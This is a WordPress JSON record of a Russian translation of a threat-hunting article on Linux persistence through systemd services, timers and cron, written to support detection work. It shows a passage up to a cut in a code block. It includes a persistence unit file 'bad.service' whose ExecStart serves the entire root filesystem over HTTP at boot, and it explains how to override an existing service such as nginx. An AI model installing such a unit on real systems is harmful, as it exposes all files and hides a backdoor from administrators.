{"id":468854,"date":"2025-07-28T15:01:01","date_gmt":"2025-07-28T15:01:01","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=468854"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=468854","title":{"rendered":"<span>[\u041f\u0435\u0440\u0435\u0432\u043e\u0434] \u041f\u043e\u0438\u0441\u043a \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0432 Linux (\u0427\u0430\u0441\u0442\u044c 3). Systemd, \u0442\u0430\u0439\u043c\u0435\u0440\u044b \u0438 Cron<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/816\/b61\/1f5\/816b611f5a9a6606ad4f375efcb8554e.png\" width=\"1760\" height=\"1360\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/816\/b61\/1f5\/816b611f5a9a6606ad4f375efcb8554e.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/816\/b61\/1f5\/816b611f5a9a6606ad4f375efcb8554e.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0414\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f &#8212; \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0441\u0435\u0440\u0438\u0438 \u0441\u0442\u0430\u0442\u0435\u0439 \u043e\u0442 Pepe Berba &#8212;\u00a0<a href=\"https:\/\/pberba.github.io\/security\/2022\/01\/30\/linux-threat-hunting-for-persistence-systemd-timers-cron\/\" rel=\"noopener noreferrer nofollow\">Hunting for Persistence in Linux.<\/a>  <\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">! \u0412\u0441\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043c\u0435\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0418\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0441\u0442\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u0438 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043a\u043e\u043d\u043e\u0434\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443. \u0410\u0432\u0442\u043e\u0440 \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043d\u0435\u0441\u0443\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u0441\u043e\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. !  <\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043e\u0431\u0441\u0443\u0434\u0438\u043c, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0438 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0437\u0430\u0434\u0430\u0447 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f, \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438:<\/p>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430: \u0441\u0435\u0440\u0432\u0438\u0441 Systemd<\/p>\n<\/li>\n<li>\n<p>\u041f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u0437\u0430\u0434\u0430\u0447\/\u0434\u0436\u043e\u0431: \u0442\u0430\u0439\u043c\u0435\u0440\u044b Systemd<\/p>\n<\/li>\n<li>\n<p>\u041f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u0437\u0430\u0434\u0430\u0447\/\u0434\u0436\u043e\u0431: Cron<\/p>\n<\/li>\n<\/ul>\n<p>\u041c\u044b \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u043a\u043e\u043c\u0430\u043d\u0434 \u043f\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u043a \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043a\u0430\u0436\u0435\u043c, \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a <strong>auditd<\/strong>, <strong>osquery<\/strong>, <strong>sysmon<\/strong> \u0438 <strong>auditbeats<\/strong>.<\/p>\n<h2> 5 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430: \u0441\u0435\u0440\u0432\u0438\u0441 Systemd  <\/h2>\n<p><strong>5.1 \u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u044b Systemd<\/strong><\/p>\n<p><strong>MITRE:<\/strong> <a href=\"https:\/\/attack.mitre.org\/techniques\/T1543\/002\/\" rel=\"noopener noreferrer nofollow\">https:\/\/attack.mitre.org\/techniques\/T1543\/002\/<\/a><\/p>\n<p>\u0421\u0435\u0440\u0432\u0438\u0441\u044b Systemd \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u043e\u043d\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u043c\u043e\u043d\u0430\u043c\u0438. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n<p>\u0412\u043e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432 Debian, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u043a\u043e\u043c\u044b:<\/p>\n<ul>\n<li>\n<p><code>\/etc\/systemd\/system\/sshd.service<\/code>: \u0441\u0435\u0440\u0432\u0438\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (Secure Shell Service) <\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/system\/systemd-logind.service<\/code>: \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0445\u043e\u0434\u043e\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 (Login Service) <\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/system\/rsyslog.service<\/code>: \u0441\u0435\u0440\u0432\u0438\u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (System Logging Service) <\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/system\/cron.service<\/code>: \u0434\u0435\u043c\u043e\u043d \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u043e\u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c (Regular background program processing daemon)  <\/p>\n<\/li>\n<\/ul>\n<p>\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u0430\u043a <strong>sshd<\/strong>, <strong>rsyslogd<\/strong> \u0438 <strong>cron<\/strong>, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <strong>systemd<\/strong> \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0445 \u0431\u044d\u043a\u0434\u043e\u0440 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f. \u0414\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f <strong>unit-\u0444\u0430\u0439\u043b<\/strong> \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c <strong>.service<\/strong> \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435:<br \/> <code>\/etc\/systemd\/system\/<\/code> \u0438\u043b\u0438 <code>\/lib\/systemd\/system\/<\/code>.<\/p>\n<p> \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c <strong>rsyslog.service<\/strong>, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.  <\/p>\n<pre><code class=\"bash\">[Unit] Description=System Logging Service Requires=syslog.socket Documentation=man:rsyslogd(8) Documentation=https:\/\/www.rsyslog.com\/doc\/  [Service] Type=notify ExecStart=\/usr\/sbin\/rsyslogd -n -iNONE StandardOutput=null Restart=on-failure  # Increase the default a bit in order to allow many simultaneous # files to be monitored, we might need a lot of fds. LimitNOFILE=16384  [Install] WantedBy=multi-user.target Alias=syslog.service<\/code><\/pre>\n<p>\u0415\u0441\u0442\u044c \u0434\u0432\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435:<\/p>\n<ul>\n<li>\n<p><strong>ExecStart<\/strong>: \u044d\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430<\/p>\n<\/li>\n<li>\n<p><strong>WantedBy<\/strong>: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>multi-user.target<\/code> \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0438\u0441 \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b<\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u043e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/redcanary.com\/blog\/attck-t1501-understanding-systemd-service-persistence\/\" rel=\"noopener noreferrer nofollow\">https:\/\/redcanary.com\/blog\/attck-t1501-understanding-systemd-service-persistence\/<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/wiki.debian.org\/systemd\/Services\" rel=\"noopener noreferrer nofollow\">https:\/\/wiki.debian.org\/systemd\/Services<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-use-systemctl-to-manage-systemd-services-and-units\" rel=\"noopener noreferrer nofollow\">https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-use-systemctl-to-manage-systemd-services-and-units<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/manpages.debian.org\/bullseye\/systemd\/systemd.unit.5.en.html\" rel=\"noopener noreferrer nofollow\">https:\/\/manpages.debian.org\/bullseye\/systemd\/systemd.unit.5.en.html<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.freedesktop.org\/software\/systemd\/man\/systemd.unit.html\" rel=\"noopener noreferrer nofollow\">https:\/\/www.freedesktop.org\/software\/systemd\/man\/systemd.unit.html<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.unixsysadmin.com\/systemd-user-services\/\" rel=\"noopener noreferrer nofollow\">https:\/\/www.unixsysadmin.com\/systemd-user-services\/<\/a><\/p>\n<\/li>\n<\/ul>\n<p><strong>5.2 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 <\/strong><\/p>\n<p><strong>5.2.1 \u0413\u0434\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432<\/strong> <\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c <strong>unit-\u0444\u0430\u0439\u043b<\/strong> \u0432\u0438\u0434\u0430 <code>&lt;SERVICE&gt;.service<\/code> \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043f\u0443\u0442\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 unit-\u0444\u0430\u0439\u043b\u043e\u0432 systemd. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e man-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u043c [<a href=\"https:\/\/manpages.debian.org\/bullseye\/systemd\/systemd.unit.5.en.html\" rel=\"noopener noreferrer nofollow\">Debian systemd.unit man page<\/a>] \u0438 [<a href=\"https:\/\/www.freedesktop.org\/software\/systemd\/man\/latest\/systemd.unit.html\" rel=\"noopener noreferrer nofollow\">freedesktop systemd.unit man page<\/a>]. <\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"><strong>\u041f\u0443\u0442\u044c<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/etc\/systemd\/system  <\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c  <\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/usr\/local\/lib\/systemd\/system<\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c  <\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/lib\/systemd\/system  <\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430  <\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/usr\/local\/lib\/systemd\/system  <\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430  <\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c <code>systemd <\/code>\u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c unit-\u0444\u0430\u0439\u043b\u044b, \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b <code>systemd-analyze unit-paths<\/code> (\u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430 \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u043a\u043b\u044e\u0447 <code>--user<\/code>). \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: <\/p>\n<pre><code class=\"bash\">$ systemd-analyze unit-paths ... \/etc\/systemd\/system ... \/usr\/local\/lib\/systemd\/system \/lib\/systemd\/system \/usr\/lib\/systemd\/system ...<\/code><\/pre>\n<p>\u042d\u0442\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438 \u043c\u0435\u0441\u0442\u0430, \u043e\u0442\u043a\u0443\u0434\u0430 <code>systemd <\/code>\u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <code>\/run\/*<\/code>, \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u0438 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p>\u0411\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u043f\u0435\u0440\u0432\u044b\u0439 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c *.service \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0444\u0430\u0439\u043b <code>\/lib\/systemd\/system\/nginx.service<\/code> \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0430 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c <code>\/etc\/systemd\/system\/nginx.service<\/code>, \u0442\u043e \u043c\u044b \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0441\u0435\u0440\u0432\u0438\u0441 <strong>nginx.service<\/strong>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e <code>\/etc\/systemd\/system<\/code> \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0434 <code>\/lib\/systemd\/system\/nginx.service<\/code>.<\/p>\n<p>\u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u043c, \u0435\u0441\u043b\u0438 \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0430 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435.<\/p>\n<p><strong>5.2.2 \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441\u0435\u0440\u0432\u0438\u0441\u0430<\/strong> <\/p>\n<p>\u041c\u044b \u0445\u043e\u0442\u0438\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <strong>bad<\/strong>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0430\u0439\u043b \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <code>\/etc\/systemd\/system\/bad.service<\/code>.  <\/p>\n<pre><code class=\"bash\">[Unit] Description=Example of bad service  [Service] ExecStart=python3 -m http.server --directory \/  [Install] WantedBy=multi-user.target<\/code><\/pre>\n<p> \u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e:  <\/p>\n<pre><code 